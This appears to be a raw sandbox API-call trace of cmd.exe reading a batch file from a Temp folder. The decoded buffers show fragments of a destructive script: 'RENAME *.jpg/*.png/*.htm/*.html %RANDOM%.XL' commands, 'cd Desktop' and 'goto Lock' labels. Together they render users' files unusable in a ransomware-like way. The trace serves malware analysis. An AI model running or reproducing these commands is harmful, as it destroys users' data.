0x74 [0039.348] GetFileType (hFile=0x74) returned 0x1 [0039.348] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd4d [0039.348] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.348] SetFilePointer (in: hFile=0x74, lDistanceToMove=3431, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xd67 [0039.348] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.jpg %RANDOM%.XL\r\n") returned 26 [0039.348] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.348] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd67 [0039.348] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.348] GetFileType (hFile=0x74) returned 0x1 [0039.348] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd67 [0039.348] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.348] SetFilePointer (in: hFile=0x74, lDistanceToMove=3442, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xd72 [0039.349] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\ng %RANDOM%.XL\r\n") returned 11 [0039.349] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.349] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd72 [0039.349] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.349] GetFileType (hFile=0x74) returned 0x1 [0039.349] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd72 [0039.349] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.349] SetFilePointer (in: hFile=0x74, lDistanceToMove=3444, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xd74 [0039.349] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0039.349] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.349] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd74 [0039.349] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.349] GetFileType (hFile=0x74) returned 0x1 [0039.349] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd74 [0039.350] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.350] SetFilePointer (in: hFile=0x74, lDistanceToMove=3450, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xd7a [0039.350] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":png\r\nock\r\n") returned 6 [0039.350] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.350] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd7a [0039.350] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.350] GetFileType (hFile=0x74) returned 0x1 [0039.350] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd7a [0039.350] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.350] SetFilePointer (in: hFile=0x74, lDistanceToMove=3452, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xd7c [0039.350] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nng\r\n") returned 2 [0039.350] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.350] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd7c [0039.350] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.350] GetFileType (hFile=0x74) returned 0x1 [0039.350] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd7c [0039.350] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.350] SetFilePointer (in: hFile=0x74, lDistanceToMove=3478, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xd96 [0039.351] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.png %RANDOM%.XL\r\n") returned 26 [0039.351] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.351] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd96 [0039.351] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.351] GetFileType (hFile=0x74) returned 0x1 [0039.351] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd96 [0039.351] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.351] SetFilePointer (in: hFile=0x74, lDistanceToMove=3489, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xda1 [0039.351] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\ng %RANDOM%.XL\r\n") returned 11 [0039.351] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.351] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xda1 [0039.351] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.351] GetFileType (hFile=0x74) returned 0x1 [0039.351] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xda1 [0039.351] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.351] SetFilePointer (in: hFile=0x74, lDistanceToMove=3491, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xda3 [0039.351] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0039.351] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.352] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xda3 [0039.352] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.352] GetFileType (hFile=0x74) returned 0x1 [0039.352] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xda3 [0039.352] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.352] SetFilePointer (in: hFile=0x74, lDistanceToMove=3497, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xda9 [0039.352] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":htm\r\nock\r\n") returned 6 [0039.352] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.352] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xda9 [0039.352] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.352] GetFileType (hFile=0x74) returned 0x1 [0039.352] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xda9 [0039.352] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.352] SetFilePointer (in: hFile=0x74, lDistanceToMove=3499, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xdab [0039.352] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\ntm\r\n") returned 2 [0039.352] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.352] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xdab [0039.353] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.353] GetFileType (hFile=0x74) returned 0x1 [0039.353] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xdab [0039.353] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.353] SetFilePointer (in: hFile=0x74, lDistanceToMove=3525, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xdc5 [0039.353] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.htm %RANDOM%.XL\r\n") returned 26 [0039.353] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.353] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xdc5 [0039.353] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.353] GetFileType (hFile=0x74) returned 0x1 [0039.353] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xdc5 [0039.353] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.353] SetFilePointer (in: hFile=0x74, lDistanceToMove=3536, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xdd0 [0039.353] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\nm %RANDOM%.XL\r\n") returned 11 [0039.353] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.353] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xdd0 [0039.354] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.354] GetFileType (hFile=0x74) returned 0x1 [0039.354] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xdd0 [0039.354] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.354] SetFilePointer (in: hFile=0x74, lDistanceToMove=3538, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xdd2 [0039.354] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0039.354] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.354] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xdd2 [0039.354] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.354] GetFileType (hFile=0x74) returned 0x1 [0039.354] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xdd2 [0039.354] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.354] SetFilePointer (in: hFile=0x74, lDistanceToMove=3545, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xdd9 [0039.354] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=7, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":html\r\nck\r\n") returned 7 [0039.354] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.354] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xdd9 [0039.354] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.355] GetFileType (hFile=0x74) returned 0x1 [0039.355] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xdd9 [0039.355] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.355] SetFilePointer (in: hFile=0x74, lDistanceToMove=3547, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xddb [0039.355] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\ntml\r\n") returned 2 [0039.355] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.355] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xddb [0039.355] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.355] GetFileType (hFile=0x74) returned 0x1 [0039.355] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xddb [0039.355] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.355] SetFilePointer (in: hFile=0x74, lDistanceToMove=3574, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xdf6 [0039.355] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=27, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.html %RANDOM%.XL\r\n") returned 27 [0039.355] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.355] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xdf6 [0039.355] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.355] GetFileType (hFile=0x74) returned 0x1 [0039.356] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xdf6 [0039.356] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.356] SetFilePointer (in: hFile=0x74, lDistanceToMove=3585, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe01 [0039.356] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\nml %RANDOM%.XL\r\n") returned 11 [0039.356] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.356] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe01 [0039.356] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.356] GetFileType (hFile=0x74) returned 0x1 [0039.356] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe01 [0039.356] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.356] SetFilePointer (in: hFile=0x74, lDistanceToMove=3589, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe05 [0039.356] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=4, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":l\r\n Lock\r\n") returned 4 [0039.356] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.356] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe05 [0039.356] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.356] GetFileType (hFile=0x74) returned 0x1 [0039.356] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe05 [0039.357] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.357] SetFilePointer (in: hFile=0x74, lDistanceToMove=3595, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe0b [0039.357] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="cd..\r\nock\r\n") returned 6 [0039.357] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.357] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe0b [0039.357] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.357] GetFileType (hFile=0x74) returned 0x1 [0039.357] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe0b [0039.357] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.357] SetFilePointer (in: hFile=0x74, lDistanceToMove=3607, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe17 [0039.357] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=12, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="cd Desktop\r\nl %RANDOM%.XL\r\n") returned 12 [0039.357] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.357] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe17 [0039.357] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.357] GetFileType (hFile=0x74) returned 0x1 [0039.357] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe17 [0039.357] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.357] SetFilePointer (in: hFile=0x74, lDistanceToMove=3614, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe1e [0039.358] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=7, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":Lock\r\ntop\r\n") returned 7 [0039.358] _close (_FileHandle=3) returned 0 [0039.358] _get_osfhandle (_FileHandle=1) returned 0x7 [0039.358] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0039.358] _get_osfhandle (_FileHandle=1) returned 0x7 [0039.358] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0039.358] _get_osfhandle (_FileHandle=0) returned 0x3 [0039.358] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0039.359] SetConsoleInputExeNameW () returned 0x1 [0039.359] GetConsoleOutputCP () returned 0x1b5 [0039.359] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0039.359] SetThreadUILanguage (LangId=0x0) returned 0x409 [0039.359] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0039.359] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0039.359] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.359] SetFilePointer (in: hFile=0x74, lDistanceToMove=3614, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe1e [0039.359] GetProcessHeap () returned 0x4e0000 [0039.360] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4e0880 | out: hHeap=0x4e0000) returned 1 [0039.360] GetProcessHeap () returned 0x4e0000 [0039.360] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58c0 | out: hHeap=0x4e0000) returned 1 [0039.360] GetProcessHeap () returned 0x4e0000 [0039.360] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0039.360] GetProcessHeap () returned 0x4e0000 [0039.360] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5880 | out: hHeap=0x4e0000) returned 1 [0039.360] GetProcessHeap () returned 0x4e0000 [0039.360] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0039.360] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.360] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe1e [0039.360] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x180f, lpOverlapped=0x0) returned 1 [0039.360] SetFilePointer 